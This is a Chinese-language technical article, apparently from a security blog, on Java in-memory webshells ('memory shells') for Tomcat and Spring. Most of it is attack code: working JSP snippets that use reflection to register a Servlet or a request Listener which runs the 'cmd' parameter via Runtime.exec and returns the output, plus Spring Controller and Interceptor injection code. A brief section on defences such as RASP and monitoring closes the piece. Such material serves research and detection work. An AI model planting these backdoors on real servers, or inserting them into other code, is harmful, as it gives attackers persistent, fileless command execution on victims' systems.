java内存马分析集合
字数 1414 2025-08-19 12:41:58
Java内存马分析与实现技术文档
1. 内存马概述
内存马(Memory Shell)是一种驻留在内存中的恶意后门技术,它不依赖磁盘文件,通过动态修改Java Web应用的运行时代码或配置来实现持久化访问。本文详细分析基于Tomcat容器的多种内存马实现技术。
2. Servlet内存马
2.1 传统Servlet配置分析
标准Servlet配置示例:
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>com.naihe2.testServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>
关键加载流程:
ContextConfig#webConfig()- 读取web.xml配置文件ContextConfig#configureContext()- 遍历web.xml内容创建WrapperStandardContext.createWrapper()- 建立URL与Servlet的映射关系
2.2 内存马实现技术
动态注入Servlet内存马JSP代码:
<%@ page import="java.lang.reflect.Field,org.apache.catalina.core.StandardContext,
org.apache.catalina.connector.Request,javax.servlet.http.HttpServlet,
java.io.*" %>
<%
HttpServlet httpServlet = new HttpServlet() {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read()) != -1) {
resp.getWriter().write(len);
}
}
};
// 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
// 创建并配置Wrapper
Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(httpServlet.getClass().getSimpleName());
newWrapper.setLoadOnStartup(1); // 关键:设置立即加载
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
// 添加映射
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/demo", name);
%>
关键点:
- 通过反射获取当前请求的
StandardContext对象 - 使用
createWrapper()动态创建Servlet包装器 setLoadOnStartup(1)确保Servlet立即加载- 添加子容器和URL映射实现持久化
3. Listener内存马
3.1 传统Listener配置
标准配置示例:
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
<listener>
<listener-class>com.naihe2.testListener</listener-class>
</listener>
</web-app>
加载流程:
- 读取web.xml中的Listener配置
- 通过
addApplicationListener添加到applicationEventListenersList - 事件触发时调用相应方法
3.2 内存马实现技术
动态注入Listener内存马JSP代码:
<%@ page import="org.apache.catalina.core.StandardContext,java.lang.reflect.Field,
org.apache.catalina.connector.Request,java.io.*,org.apache.catalina.connector.Response" %>
<%!
public class DemoListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
try {
// 反射获取Request和Response对象
org.apache.catalina.connector.RequestFacade req =
(org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = req.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);
Response response = request.getResponse();
// 执行命令
String cmd = request.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read()) != -1) {
response.getWriter().write(len);
}
} catch (Exception e) { e.printStackTrace(); }
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
// 获取StandardContext并注入Listener
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
context.addApplicationEventListener(new DemoListener());
%>
关键点:
- 实现
ServletRequestListener接口捕获请求事件 - 通过双重反射获取原始
Request和Response对象 - 使用
addApplicationEventListener直接添加监听器实例 - 无需配置web.xml实现持久化
4. Spring框架内存马
4.1 Controller内存马
实现原理:
- 获取Spring的
WebApplicationContext - 获取
RequestMappingHandlerMapping实例 - 动态注册Controller映射
内存马实现代码:
@Controller
public class Demo {
@ResponseBody
@RequestMapping(value="/inject", method=RequestMethod.GET)
public void inject() throws NoSuchMethodException {
// 获取Spring上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取HandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping =
context.getBean(RequestMappingHandlerMapping.class);
// 准备映射信息
Method method = InjectToController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/demo");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 注册Controller
mappingHandlerMapping.registerMapping(info, new InjectToController(), method);
}
public class InjectToController {
public String test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes)
RequestContextHolder.currentRequestAttributes()).getRequest();
// 命令执行逻辑...
return "result";
}
}
}
4.2 Interceptor内存马
实现原理:
- 获取Spring上下文和
AbstractHandlerMapping - 通过反射修改
adaptedInterceptors列表 - 添加自定义Interceptor
内存马实现代码:
@Controller
public class TestInterceptor {
@ResponseBody
@RequestMapping(value="/interceptor", method=RequestMethod.GET)
public String inject() throws Exception {
// 获取上下文和HandlerMapping
WebApplicationContext context = (WebApplicationContext)RequestContextHolder
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)
context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射修改拦截器列表
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<HandlerInterceptor> adaptedInterceptors =
(ArrayList<HandlerInterceptor>) field.get(abstractHandlerMapping);
// 添加自定义拦截器
adaptedInterceptors.add(new MappedInterceptor(
new String[]{"/cl1"}, null, new InterceptorDemo()));
return "ok";
}
}
class InterceptorDemo implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {
// 命令执行逻辑...
return false;
}
// 其他方法实现...
}
5. 防御措施
-
运行时检测:
- 监控
StandardContext的修改操作 - 检查动态添加的Servlet/Filter/Listener
- 扫描异常的URL映射
- 监控
-
Spring防护:
- 禁止动态注册Controller
- 监控HandlerMapping修改
- 检查异常Interceptor
-
通用防护:
- 使用RASP进行行为监控
- 定期内存扫描
- 严格权限控制
6. 总结
本文详细分析了基于Tomcat和Spring框架的多种内存马实现技术,包括:
- Servlet内存马:通过动态添加Wrapper实现
- Listener内存马:利用事件监听机制
- Spring Controller内存马:动态注册映射
- Interceptor内存马:修改拦截器链
理解这些技术原理有助于开发更有效的防御措施,保护Java Web应用免受内存马攻击。